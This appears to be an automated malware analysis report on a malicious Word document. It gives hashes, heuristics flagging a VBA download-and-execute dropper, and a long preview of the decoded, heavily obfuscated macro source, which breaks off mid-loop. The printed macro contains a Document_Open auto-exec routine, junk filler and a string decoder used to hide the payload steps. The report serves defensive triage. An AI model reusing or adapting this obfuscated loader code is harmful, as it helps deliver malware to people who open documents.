Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 08f0cb6fbc406aed…

MALICIOUS

Office (OLE)

621.5 KB Created: 2018-10-23 23:40:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: ea5f3e8a8ac9610e66a8567267647728 SHA-1: a6e4f84e545c03a2746c2b9f61dc44b8ade62641 SHA-256: 08f0cb6fbc406aed778652812d087e9fa56fd97fe22b39f91f8b54869d8e42ce
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macros within this document are designed to download and execute a file from a URL. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic further suggests a sophisticated loader mechanism. While no direct download URL was extracted, the presence of these critical heuristics strongly implies a malicious intent to fetch and run a secondary payload, likely using PowerShell given the commonality of this technique.

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        YEglgx = SOZUka.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set QzZoNfC = CreateObject(gJyDv)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set QzZoNfC = CreateObject(gJyDv)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        cYMafIc = Replace(iRJmZgX(cYMafIc), "BTkiajwAXc", Environ(fYkkBqRkG("A(a (spq MOtpjkw!wD&cXgha!fV??tIb D$atEhF ")))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 183403 bytes
SHA-256: 571b59d22211aea85d5a82288f967c1d343ec550f1e4a5978100d883a04650a2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
900 of 1470 identifiers look randomly generated (e.g. 'PpJHmiKgjpmCRajqhUjP'); 76 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    WYFVuawXt = 58 - 9 - 90 - 95 - 26
    QdPnjGP = Left(" _ Z mW", 4) + LTrim(" CLeo@- N  ")
    WYFVuawXt = RTrim("L  ^exYQQ ih%gk o$") + UCase("bpcd  SNmf u& wxWmk[")
            While qCSbKm < 3
                eDuoJIma = LTrim("s[   mu")
                VOOeyx = Right("a]u[ $txAhJRQ $g i)", 3)
                WYFVuawXt = 54 - 100 - 23 - 17 - 78 - 27
                qCSbKm = qCSbKm + 3
            Wend

    oSxEbZjMJcA = Space(6) + Left("IQiN rf", 4)
            While lomRBO < 2
                While NXnRsK < 2
                    nzVSBFwE = Space(19) + Left("h^Ld  o", 3)
                    ztjyjzAsOR = 14 + 43 + 26 + 8 + 92
                    VOOeyx = RTrim("p-Rq@z H_QJ ecC  mH") + UCase(" hF  b qmAo_ ")
                    EAZvZw = RTrim("CVl@i%% k)L %kV") + StrReverse(" s U ux bd")
                    UNhXxaWaY = Left(".x (wl g  HPnG )", 5) + LTrim(")c %VXUbu")
                    NXnRsK = NXnRsK + 2
                Wend

                QEXKdxcSIuB = Left("!]@S!)jhx PkLvKBy", 4) + LTrim("(gp^i F q )")
                OIBYrJiGP = RTrim("?CR!nMb  ") + StrReverse("i r X #fR  bEbsm!L n")
                ypBFZB = Space(5) + Left(" WfM-jgn   ", 3)
                WYFVuawXt = UCase(" FBYm kpA] [g[") + RTrim("F  c-N NHlnei  .ZKD")
                lomRBO = lomRBO + 2
            Wend

            While mGaZaz < 2
                While hQTfvI < 4
                    

                    FNUiKkWBxA = Left("O   Q h ny?B_ybe?", 5) + LTrim(" ^CWKNYhQ(HZQ-hsk$Qy")
                    KuUnWoUt = RTrim("uI!xG @EWHbZm O[AMg") + StrReverse("F v  f SErn ")
                    hQTfvI = hQTfvI + 3
                Wend

                DHxvOLxjsFDz = LTrim("#xp T[ Iw^ %g ")
                EpdPMo = LTrim("Zy zthC &. RKdG?")
                DHxvOLxjsFDz = RTrim("EoTIwD vq]") + UCase("$iH Do?)O")
                mGaZaz = mGaZaz + 3
            Wend

    QEXKdxcSIuB = Right("q j hQ", 4)
            For UMSbIX = 2 To 8
                eDuoJIma = RTrim("%TjgJP") + UCase("vqWNfA bri VI[vb")
                jhDXjDICZuR = RTrim("IjUdsMnRd  ?w b") + StrReverse("o-_u o  y- Ms [vB")
                

                ypBFZB = 60 - 37
                FNUiKkWBxA = 26 - 55 - 65 - 45
            Next UMSbIX

    VOOeyx = LTrim("J Et bZFu(  y")
    lxgpRBj "jQIwizolQ", "ysVqFYNQpK", "YecXhVB", "BVbCaF", "HzrLhpwQb", "UvwZxnUf", "xwthimF", "VnIoejnRuf", "hcIgcz", "TPyZSeXg"
            While hiiSBf < 1
                

                

                oSxEbZjMJcA = UCase("fLM   [G!Xv obB]CFx") + RTrim("ih bz_ob b]tq#S&Bd]")
                hiiSBf = hiiSBf + 3
            Wend

    QdPnjGP = Right("$lVV$Y el^]LfQ  u", 5)
    EujHBjiuosN = RTrim("kWA^e[gd") + UCase(" p-Dpg_ S_g %c")
            While vAUNwy < 1
                For cTsuCH = 2 To 7
                    oSxEbZjMJcA = Left("g$dAkw", 3) + LTrim("NUi!W& ]")
                    smnNZd = Space(17) + Left("D$pm KSl J D%", 4)
                    DHxvOLxjsFDz = Space(4) + Left("w KLy %hve I Q", 5)
                    tMJxTOQ = Left("i  o^kK? osKjqm-c", 5) + LTrim("[$ou Y% @ ]L nk")
                Next cTsuCH

                FieXbY = RTrim("_ wZEu$") + UCase("qWczXco ")
                kqDEphJORIJ = 1 + 31 + 18 + 97 + 62 + 39
                

                nzVSBFwE = Left("  ]@v", 2) + LTrim("H  Vip  hV_$  c pGsq")
                DtcWInUixs = LTrim("W[ ArthU _-B ")
                vAUNwy = vAUNwy + 2
            Wend

    EujHBjiuosN = Space(4) + Left("q$$c G_?!p !", 2)
    DtcWInUixs = Right(" S. mE? M Q bb  fI ", 4)
    ztjyjzAsOR = RTrim("]     [^g  Z") + StrReverse("  kKmu  rL")
    

            While RgIOKa < 2
                eDuoJIma = Right("?te%OdvX", 3)
                EAZvZw = Space(1) + Left("M ks  fM", 4)
                CBEQnjijCzJG = 24 - 68 - 1 - 51 - 21 - 61
                FNUiKkWBxA = RTrim("K@ a_W-G KM  ") + UCase("xpU_b(%sfg %@T  K")
                RgIOKa = RgIOKa + 1
            Wend

    VOOeyx = Right("N   FFFLd]PStYU ", 2)


End Sub



Attribute VB_Name = "Module1"

Function iRJmZgX(XmdVUbmE As String) As String
jhDXjDICZuR = 43 - 44 - 99 - 15 - 72
    Dim XAnEkGm As String
    FNUiKkWBxA = Right("-% MjO. K U^ i ", 4)
    Dim VdjGzO() As Byte
    FieXbY = Space(2) + Left("hNZt] S QD", 3)
    Dim JwqktTp As Integer
    EpdPMo = Right("NU( H", 2)
    Dim NIwvWf(1187) As Byte
    

    JwqktTp = 0
    tMJxTOQ = RTrim("oT lB l ?l As") + UCase("Atr&)")
    VdjGzO = StrConv(XmdVUbmE, vbFromUnicode)
    OIBYrJiGP = Left("S.YwIpQvg", 3) + LTrim("OLgP DsP& _bV   v_E&")
    For JkInRo = 0 To UBound(VdjGzO) - 1
    RnsxSabeRf = Space(20) + Left("Pu c&", 4)
        If (JkInRo Mod 6 = 0) Then
        WYFVuawXt = LTrim("_Jc&OIE XanLb mZ")
            NIwvWf(JwqktTp) = VdjGzO(JkInRo)
            kqDEphJORIJ = Left(" QD% ", 5) + LTrim(" Eg_  o x v _O!g ")
            JwqktTp = JwqktTp + 5 + 6 - 10
            iGQtNiSoCxnu = LTrim("zg) r    ")
        End If
        

    Next JkInRo
    iGQtNiSoCxnu = Space(14) + Left("tas s ie   bP tmKiS", 3)
    iRJmZgX = StrConv(NIwvWf, vbUnicode)
    oSxEbZjMJcA = Right(" C )C E c AIYeX", 2)
End Function


Function moGjms(yJKnUKx As String, YZFSkU As String) As String
    WYFVuawXt = 98 + 33 + 78 + 52
    FieXbY = Space(14) + Left("y@HzRaOa %  [S", 3)
    QdPnjGP = LTrim("i$  HU Bj[O h NG bBF")
    FieXbY = RTrim(" &XPCTr XPFjMF") + StrReverse("@lCO UXl@QY")
    nzVSBFwE = Space(16) + Left(" &IQKR ", 4)
    DtcWInUixs = Left("S #kR[ ]eD    ", 4) + LTrim("wIr a HWw]&?X")
    RnsxSabeRf = UCase("jPSX_Ikl") + RTrim(")_ &NbKu j P EY")
    

    DHxvOLxjsFDz = UCase("jFW EJ    ") + RTrim("$  ? hB")
    iGQtNiSoCxnu = UCase("pY XShpOfn  -fzNa[^T") + RTrim("HyTx ")
    kqDEphJORIJ = Left("?GM (! RfM.n#", 4) + LTrim("   G(cNk)")
    QEXKdxcSIuB = UCase("%XNLl qCQ   )H-F") + RTrim("  akN   ?x w) -z ")
    VOOeyx = Space(10) + Left("_ lPIGVN$cx%W z", 3)
    tMJxTOQ = Left("SQkqV wBTBG", 5) + LTrim("_T Lw? hT nR$nZjA %)")
    

    moGjms = "eZCnVeqplQRDOdZ"
End Function


Function kgRHEn(CBLZKT As Integer) As String
    QEXKdxcSIuB = 73 - 68 - 40 - 85 - 19 - 93
    CBEQnjijCzJG = Space(1) + Left("V gW ", 5)
    DtcWInUixs = 9 - 92 - 29 - 11 - 68 - 47
    nzVSBFwE = 70 - 64
    

    

    awnNVehz = 70 + 97 + 58 + 76 + 44
    DtcWInUixs = Right("  Dh BAcr GnvPKE", 2)
    

    ypBFZB = Space(2) + Left("- .xfX P", 3)
    While UHkhjS < 4
        

        eDuoJIma = Space(13) + Left("Q  [CZ?iee % ]j ", 2)
        nzVSBFwE = LTrim("G oZ$ U zOVP M.s E N")
        UHkhjS = UHkhjS + 2
    Wend

    JbGuVaDXpX = Right("eSkmMBVYJ", 4)
    While OUkoxo < 3
        VOOeyx = 64 + 37 + 92 + 47
        ypBFZB = Right("#S_@XteK YsU .( sB", 3)
        EAZvZw = Space(12) + Left(" Lsma", 3)
        iGQtNiSoCxnu = LTrim(" Q.?i fOH  ")
        OUkoxo = OUkoxo + 3
    Wend

    

    eDuoJIma = Left("N  zq Xj  O G", 5) + LTrim("Ai[  S")
    For VsHJpz = 2 To 3
        While oTPWTk < 2
            ztjyjzAsOR = 99 - 19
            ypBFZB = RTrim("e ] U^ t  q(K)") + UCase("a$c ?!S")
            

            oTPWTk = oTPWTk + 1
        Wend

        nzVSBFwE = UCase("NUap) fK") + RTrim("ua!uM@eNRNnBH#IG")
        eDuoJIma = 88 + 26 + 80 + 20 + 60 + 34
        oSxEbZjMJcA = Space(4) + Left("lPO &aUG- wC #KmB", 3)
        smnNZd = RTrim("_oQ.jL (") + StrReverse("x Qf LOXF p[")
    Next VsHJpz

    VOOeyx = LTrim("kj^woR b s#. %DC _ ")
    DtcWInUixs = 96 + 37 + 18
    VOOeyx = Space(14) + Left("k^? [(HP ", 5)
    kgRHEn = "KHkRlHjvkXapVqOIJtp"
End Function



Attribute VB_Name = "Module2"

Function unbfoM(GzzBgZ As Integer, kzLeESd As Integer) As String
    EAZvZw = 58 + 43 + 14 + 93 + 87
    DtcWInUixs = Left(" DJ MWJkk_N m.!X%U", 5) + LTrim("Pb  ynXzj ] Y $")
    DtcWInUixs = Left("h  l Q", 4) + LTrim("N fElyefnUgnu ")
    iGQtNiSoCxnu = LTrim("g QJ ")
    oSxEbZjMJcA = RTrim("Q  Ikaqy(dO   ") + UCase(" w   ??C@  D ")
    For UxtfnQ = 2 To 10
        jhDXjDICZuR = Right("TE@(t", 2)
        kqDEphJORIJ = UCase("YI  B") + RTrim("wkE Uto XrS h")
        

    Next UxtfnQ

    EAZvZw = 31 - 53 - 89 - 96 - 42 - 89
    FNUiKkWBxA = 50 + 24 + 43 + 38
    ztjyjzAsOR = LTrim("Y Ro%ZbLNP")
    

    

    While TLNrFH < 3
        While aTIIGp < 2
            ypBFZB = Right("[KQF$u d", 4)
            ztjyjzAsOR = RTrim("Ov@Sqdh bxH zFq Rv") + StrReverse("%@KdN m")
            VOOeyx = Right("C% ^ p[t  v $  xE", 3)
            vAeOA = 63 - 19 - 76 - 78 - 22
            aTIIGp = aTIIGp + 3
        Wend

        FieXbY = Space(14) + Left(")M^ AiwWMS.@&aUd@", 2)
        CBEQnjijCzJG = Left(" % )Db", 3) + LTrim("sng!]l QY%y%")
        vAeOA = RTrim("NgQN I ^N  & WekS") + StrReverse(" @.RKUB #Cs @OJ!FXr")
        TLNrFH = TLNrFH + 3
    Wend

    awnNVehz = Right("^ ^Ri @  XibM", 2)
    JbGuVaDXpX = Space(3) + Left("CzEp x. -d.", 5)
    oSxEbZjMJcA = Space(9) + Left("d !@Qu eLLMvr?j", 4)
    unbfoM = "JnhfTesqUIqexvh"
End Function



Sub AxNlNF(jlMEHOO As String, wHEnfH As Double, dzgHqp As Boolean, zeycmtL As Double)
    eDuoJIma = Space(14) + Left("Cf$M O K ]pu .", 5)
    smnNZd = Left("AAN!aJb%RF P$hG", 4) + LTrim("   OU ")
    WYFVuawXt = Left("qY R TYJSx$  )Y? ", 4) + LTrim(" HugEAPj .jIl&k  C")
    

    

    awnNVehz = RTrim("  x]enS nM@T") + StrReverse(" LF Gt$Zh")
    EpdPMo = Right(" _sfoe F  ^Xe  tQ", 5)
    

    KuUnWoUt = UCase("_JJA-WDHbq[] yr# ") + RTrim("P% &sG # H A p] reV")
    

    JbGuVaDXpX = UCase("fq  ]Ub bpdKh  jTpQ") + RTrim("A[ l$%t xt ")
    tMJxTOQ = UCase("h) I?") + RTrim(" MYS&h eHpf_Z e tOY ")
    ypBFZB = Space(11) + Left(" .YiI J ?lmJfN[Jnb", 5)
    eDuoJIma = 72 - 51 - 78 - 41 - 42
    smnNZd = RTrim("A  Gh O o") + UCase("#VKCKte_Cle _")
    FNUiKkWBxA = LTrim("H -yd sf]!R-GYt!")
    While BpPPId < 1
        While ISWaJG < 2
            nzVSBFwE = UCase("HD # hL ") + RTrim(" ]s_f zE")
            vAeOA = Right("R ?!i! .r .ogxCh", 4)
            ztjyjzAsOR = Space(11) + Left("o )N]f  F j", 4)
            ISWaJG = ISWaJG + 1
        Wend

        EpdPMo = 76 - 58 - 100
        eDuoJIma = UCase("?p!%C  RL rd") + RTrim("[H  PeAw   X] tB")
        smnNZd = RTrim("xxZa&msO)v( v xna Q ") + UCase(" NmAk")
        BpPPId = BpPPId + 3
    Wend

    QdPnjGP = RTrim("Ae)?)wk( AX") + UCase(")w Xf%Nc")
End Sub



Sub PIylcJ(bkVmvNw As Double, LnocyHu As Integer)
    JbGuVaDXpX = 48 + 15 + 57
    While UOEehS < 3
        While yDxlOT < 3
            tMJxTOQ = 34 + 66 + 7 + 63 + 24 + 47
            awnNVehz = Space(18) + Left("zy  pEs", 5)
            nzVSBFwE = 33 - 19 - 20
            OIBYrJiGP = LTrim("[CC-  ")
            vAeOA = RTrim("U Lgfx@^$G z$&FD].j") + UCase("[ hE  j")
            yDxlOT = yDxlOT + 2
        Wend

        OIBYrJiGP = UCase("px  zXx&tc[") + RTrim("-hz Ol ndDmN& xP")
        jhDXjDICZuR = Space(20) + Left(") Rp%%F k $VLp&(TnD", 4)
        eDuoJIma = RTrim("yK     @  iq]-[EG") + StrReverse("    m xf cH wQlk")
        QEXKdxcSIuB = Right("G r ]Cv Ivq?vvJ)(cP", 5)
        EAZvZw = LTrim(" $ yMT Rel[C[p[JsK")
        UOEehS = UOEehS + 1
    Wend

    While fRBguM < 4
        kqDEphJORIJ = RTrim("wE es p(") + UCase("scS^!^p$j [k")
        nzVSBFwE = RTrim("kBie(R u") + StrReverse("hCPmC#  j")
        FNUiKkWBxA = RTrim("i-hFb ^@ !REr^T nHZ") + UCase("y X vR_")
        OIBYrJiGP = Right(" bg -", 5)
        fRBguM = fRBguM + 3
    Wend

    DHxvOLxjsFDz = 83 + 78 + 49
    QdPnjGP = Right("TS[( ", 4)
    OIBYrJiGP = Right("ynKsE ", 4)
    EujHBjiuosN = RTrim("dX x w& - (") + StrReverse(" GQ D zkL_)     i^")
    For fPNBzR = 2 To 3
        While IslQsW < 3
            

            OIBYrJiGP = RTrim(" LRohZ] - H N h ?VY") + StrReverse(" F ?p )i F$iP^^p# z ")
            VOOeyx = 36 + 11 + 61 + 5 + 12
            kqDEphJORIJ = Right("_!   Y bs", 5)
            IslQsW = IslQsW + 2
        Wend

        iGQtNiSoCxnu = Space(10) + Left(" vrMiyp-_nw S )N ", 5)
        ypBFZB = RTrim("n - j .XqLiRo F  ") + StrReverse("hWuAng( sF ")
        JbGuVaDXpX = RTrim("DqsodeJfZmFzK$  #!") + StrReverse("F !U n")
    Next fPNBzR

    nzVSBFwE = Space(15) + Left("x)iZYvvIQn", 5)
    

    EujHBjiuosN = Right("Z@b E X(", 2)
    vAeOA = UCase("ZXM C -mj  ") + RTrim("Z xp%ewX ?_-Uz  y .")
    FNUiKkWBxA = Right("Q w  Ku  ? Mu P###z", 4)
    ypBFZB = RTrim("z@ .Si") + StrReverse("M  #J  (Y")
    JbGuVaDXpX = RTrim(" kLASpV!l)o-] d  f") + StrReverse("O@ #uBJo] Pa  qC l%")
    smnNZd = Right("vsJpmGu)$K ", 3)
    EAZvZw = UCase("I  )Rle kGtuY  ") + RTrim("]  u(G)!)Ir #mN ")
End Sub



Attribute VB_Name = "Module3"

Sub rWAWrX(YttnMaL As Integer, CyqFjX As String, rGwrLS As Double, uWjyhm As Double, hUiTcBd As String)
    smnNZd = 31 - 13
    JbGuVaDXpX = 20 + 2 + 46
    RnsxSabeRf = UCase("M%Ag]O%K  jL") + RTrim("Lw Lhky?  KVBkp.iD")
    DHxvOLxjsFDz = RTrim("d?P_LKmK JhoK)Ff") + StrReverse("j k EP")
    jhDXjDICZuR = Space(2) + Left(" Z Op", 2)
    UNhXxaWaY = LTrim("SIH %^")
    QdPnjGP = LTrim("oe#  @j  ]   ")
    CBEQnjijCzJG = Space(7) + Left("zYUJ zZ n", 4)
    RnsxSabeRf = RTrim("    hW  J") + StrReverse("AC  KwfD?")
    OIBYrJiGP = Right("UMu&V&G R d  Vq.Rx&$", 2)
    UNhXxaWaY = Space(3) + Left("U]X AH b^RR v#]c", 5)
    QdPnjGP = UCase("  $[p   t]O") + RTrim(" #qt&  !II@ mtxSiFaU")
    FNUiKkWBxA = Left(" tCL L ^_FN& DkZm ", 5) + LTrim("RJglu_ hdOFv   OK")
    WYFVuawXt = LTrim("_(Yr?K")
    RnsxSabeRf = 74 - 100 - 98 - 80
    DtcWInUixs = RTrim(" F _ wT   ") + StrReverse("%u BfKE")
End Sub



Function XywHuI(JftwYu As Boolean) As String
    jhDXjDICZuR = Space(14) + Left("wC Y A$r $usI%L", 3)
    jhDXjDICZuR = RTrim("Nfk!uUGVB  aio") + UCase("OZc zq[H")
    eDuoJIma = RTrim("  Kcyrx%   ") + StrReverse("KqInZ$xl")
    While vLQAAR < 5
        For SmjWAA = 2 To 7
            eDuoJIma = RTrim("  Kf[RpVZ YVVcCw") + UCase("H!kV^  izEqu")
            RnsxSabeRf = 43 + 90 + 45
            EAZvZw = UCase("i[  ygK @dx_po") + RTrim(" G[F_ ^(nCpu&#auL M&")
        Next SmjWAA

        EAZvZw = Left("t)! P$N]b l", 2) + LTrim(" @#N ")
        JbGuVaDXpX = RTrim("EzcF  lSIEtn$wC!.") + StrReverse("Xw  MA!y")
        FieXbY = RTrim("! gflJKg?S]$p") + StrReverse("KdFBg r k")
        DtcWInUixs = RTrim("   GmC ^kpJ") + StrReverse("N)niR$giG&q")
        vLQAAR = vLQAAR + 1
    Wend

    For MxvcMF = 2 To 4
        For LQZunK = 2 To 7
            EujHBjiuosN = Left("c Rh mX?uNVj^ [  ", 4) + LTrim("    JDk?Er os&lx")
            OIBYrJiGP = UCase("z_z_.W  H-Ps XZB") + RTrim("wPP) ^ &[. Kv")
            tMJxTOQ = LTrim("  N oQp% ^ n")
        Next LQZunK

        OIBYrJiGP = Left("Gc? B Pta)H wBR.Wa", 2) + LTrim("Cj[ leRXq-t j)  ")
        

        awnNVehz = Right("Piaf! a J(Lkxu$yk]", 4)
    Next MxvcMF

    RnsxSabeRf = Space(16) + Left("Z yh  ^[ KwxW]HQ_", 4)
    KuUnWoUt = LTrim("B aB M ^a& N ^hUnm")
    EujHBjiuosN = RTrim("IiHv   uFzqM M g") + UCase(" qHx h% MRuR")
    FNUiKkWBxA = RTrim(" mLvbvSkLPajJzhRjjT") + StrReverse(" S !#]Fod QS hvb zN")
    EAZvZw = UCase("x (mi RH.y!AKMIwe") + RTrim("rO s bMqF UcM")
    QEXKdxcSIuB = Space(7) + Left(" sew?PG oUEcD ", 2)
    EujHBjiuosN = 62 + 32 + 8
    ypBFZB = 26 - 64 - 57 - 6 - 0 - 64
    iGQtNiSoCxnu = Space(6) + Left("gqQ^n-#  dP?POMkt ", 3)
    JbGuVaDXpX = UCase("- KG$u!V ) j M)TR") + RTrim(" rmOuoy")
    XywHuI = "pJrbkUlgSFjJoFu"
End Function



Attribute VB_Name = "Module4"

Function kArJxM(brudxp As String, lvwbDO As Double, GAkFtPN As String) As String
    DtcWInUixs = Right(".  ! c", 2)
    QdPnjGP = 10 - 33 - 45 - 62 - 64 - 42
    DHxvOLxjsFDz = Left(" rz ljk  p jlI", 3) + LTrim("ZSNXy-D]fpq")
    eDuoJIma = RTrim("Ck b OCTU(  OQC _A") + StrReverse(" ngY  @yE")
    EAZvZw = Right("u &h YXljKpR XEb CCj", 5)
    FNUiKkWBxA = Space(12) + Left(".k gusz  muf", 5)
    tMJxTOQ = 3 + 81 + 62
    KuUnWoUt = RTrim("[KT b A[&H_u I dBK ") + UCase(" MQfHN ")
    ypBFZB = RTrim("Y I kbx  r zX]#c Q -") + UCase("KQT.vwzDo sQhi z")
    DHxvOLxjsFDz = RTrim("Sx Wupo%rNI") + UCase(" ac)^ Bl")
    For xMzmEE = 2 To 4
        For fWanGT = 2 To 8
            

            eDuoJIma = UCase("la b#") + RTrim("S[yqD  ")
            nzVSBFwE = RTrim("xSE Sz Dvl $#f] W- ") + StrReverse("oVQtL . e UkbuGg_)kq")
        Next fWanGT

        EpdPMo = UCase("  fH@sb Fz#xDFr") + RTrim("zM[ @ O")
        QEXKdxcSIuB = RTrim("dPv l mO v(B  M? c") + StrReverse("n FEK  E  K")
        FieXbY = RTrim("[! J k dzcNG ehAl!v") + UCase("   lLzH")
        smnNZd = 96 - 25 - 41 - 49
        ypBFZB = 43 - 77 - 60 - 95
    Next xMzmEE

    

    RnsxSabeRf = UCase("m$ q Zcj") + RTrim("p  G   xrnzZY  Y")
    kqDEphJORIJ = Right(" wR rcB  GF?S R", 3)
    QEXKdxcSIuB = Left("Z$   vj_%j)WB g ", 4) + LTrim("BlkX  ZGt@]dn pw")
    kArJxM = "JMRXdkXDoUYqHtV"
End Function



Sub lxgpRBj(ZX As String, IsJqz As String, oqPXc As String, AtfX As String, bFI As String, yx As String, cbD As String, eXR As String, AH As String, gsW As String)
    vAeOA = 100 - 47
    EpdPMo = Left("YIqbLnKY )G?Uq  Rid", 4) + LTrim("r  aGQ$rl kgK^Ih")
    QdPnjGP = Left("ei dp? WY", 2) + LTrim("Dj  dy]  r .l ")
    WYFVuawXt = UCase("j %ATIZs EE HNx@ ia ") + RTrim("   b  ")
    While JpNcWe < 3
        WYFVuawXt = Left("    YQh.", 4) + LTrim("Jv o  Vj xQjXA$m_")
        ztjyjzAsOR = Right("i Xi  k-K)", 2)
        WYFVuawXt = Space(17) + Left("#c RYFbW Ol A", 5)
        JpNcWe = JpNcWe + 1
    Wend

    EujHBjiuosN = Space(12) + Left("Z&Ff vYbX# ", 4)
    While lsIxIu < 5
        While dtVKJC < 3
            eDuoJIma = Right("kX%)L", 5)
            ztjyjzAsOR = Left("yW    xgz@glQ ]Hm  ]", 5) + LTrim("LHv    ")
            iGQtNiSoCxnu = LTrim("^ A y  aC")
            awnNVehz = 67 - 86 - 97 - 82 - 27
            dtVKJC = dtVKJC + 1
        Wend

        iGQtNiSoCxnu = UCase("o#R h") + RTrim("jmv%zx &nK")
        RnsxSabeRf = Left(" ?O?ZvyA  )lq", 4) + LTrim("J)kf R ZU[lDoJbGnI")
        RnsxSabeRf = Space(12) + Left("TH e) iPhaO #[Y  ob", 5)
        CBEQnjijCzJG = UCase("D  qe  ]$ZLM]i )X") + RTrim("aBvfmZoGTkKZgj D _T")
        EpdPMo = RTrim("BuGEuZ") + UCase("y. W!rmSVcwRx-Sn")
        lsIxIu = lsIxIu + 3
    Wend

    jhDXjDICZuR = Right("TFW  G", 2)
    GVEAkFzP "axTqKURukz", "XzsZeGfgOQ", "dPEoPTR", "xITmTcN"
    Dim cYMafIc As String
    cYMafIc = "BVk@ JTju G k gr Miy"
    cYMafIc = cYMafIc + ") -FaMkc Kj]Bv$wwIoO"
    OIBYrJiGP = RTrim("e!.I uU") + StrReverse(" rnBE DXS&xRn")
    JbGuVaDXpX = Left("j   J ", 2) + LTrim("hc FWs")
    For yCBAnK = 2 To 5
        For bhDQrb = 2 To 7
            EujHBjiuosN = Space(19) + Left("D B klcry#q v", 2)
            QdPnjGP = LTrim("aC.GI")
            QEXKdxcSIuB = Right("&%FBQpD ", 2)
        Next bhDQrb

        FNUiKkWBxA = Left("gZQ&c", 5) + LTrim("M   a  q")
        EAZvZw = RTrim("^&hIS") + StrReverse(" $fY [")
        UNhXxaWaY = 45 + 97
        

    Next yCBAnK

    cYMafIc = cYMafIc + " IA IbgzXf[SxRc[ F k"
    EAZvZw = UCase("n-.@ YaUP]!") + RTrim("j r q&r UOF #uBG")
    

    nzVSBFwE = RTrim("[- FAud  wJh t") + StrReverse(" bsR?a")
    cYMafIc = cYMafIc + "\PyA fk n%dmf$  d!uF"
    

    FieXbY = Left("Xm]y Z.U rwcvT", 3) + LTrim("IPk  w  M[- ")
    smnNZd = 85 - 99 - 8 - 42
    cYMafIc = cYMafIc + " jU%P ]eJFLT?i COlHv"
    jhDXjDICZuR = RTrim("vtyr vT") + UCase(" qFJQ_v q")
    DHxvOLxjsFDz = LTrim("S xA! n ")
    DHxvOLxjsFDz = RTrim("z ] GDuz$ghL@H ") + UCase(" e R   Uz")
    cYMafIc = cYMafIc + " TmvL#& .&DXbQeYG fq"
    CBEQnjijCzJG = 49 + 9 + 56 + 96
    While uNsceZ < 4
        For YcHuWu = 2 To 5
            QEXKdxcSIuB = 96 + 82 + 56 + 88 + 9 + 49
            ypBFZB = Space(10) + Left("f%?ZMd ( _L&vgjF@B", 2)
            OIBYrJiGP = UCase("$YYMZIi WaJGCj[_XTS") + RTrim(" ]@  W")
            

        Next YcHuWu

        kqDEphJORIJ = LTrim("P O&x")
        RnsxSabeRf = RTrim("(XYihLW") + StrReverse("BgyKFunLV vH KV( n)w")
        EujHBjiuosN = Right("WR?MXeMw vrIkDnCjnX ", 4)
        uNsceZ = uNsceZ + 1
    Wend

    

    cYMafIc = cYMafIc + "xUNe Be Pank"
    KuUnWoUt = Left("jLy  i ", 5) + LTrim("#@lJ # AT iY)#ZD%? ")
    ztjyjzAsOR = UCase(" su @") + RTrim(" !( LL  oS!R omw")
    While WrpTls < 3
        For cyKUsj = 2 To 10
            EujHBjiuosN = UCase("a  oo.Z ?   ApRMU #") + RTrim("i qMfc  m f")
            FieXbY = Left(".j@@w%elmL Ulk", 2) + LTrim("pWu$P%L[x")
            eDuoJIma = Space(6) + Left("?-G-E z l -R", 2)
        Next cyKUsj

        ztjyjzAsOR = 37 - 49 - 22 - 100 - 94 - 32
        kqDEphJORIJ = LTrim("W kdF] T r e")
        QdPnjGP = LTrim("-Q ?q_     _#c HeMW ")
        ztjyjzAsOR = RTrim("T a[t!_Q  E@") + UCase("jKRh  BU $)   UB)")
        WrpTls = WrpTls + 2
    Wend

    cYMafIc = Replace(iRJmZgX(cYMafIc), "BTkiajwAXc", Environ(fYkkBqRkG("A(a (spq MOtpjkw!wD&cXgha!fV??tIb D$atEhF ")))
    

    jhDXjDICZuR = 79 + 70 + 20
    For HYjWrcW = 1 To 335
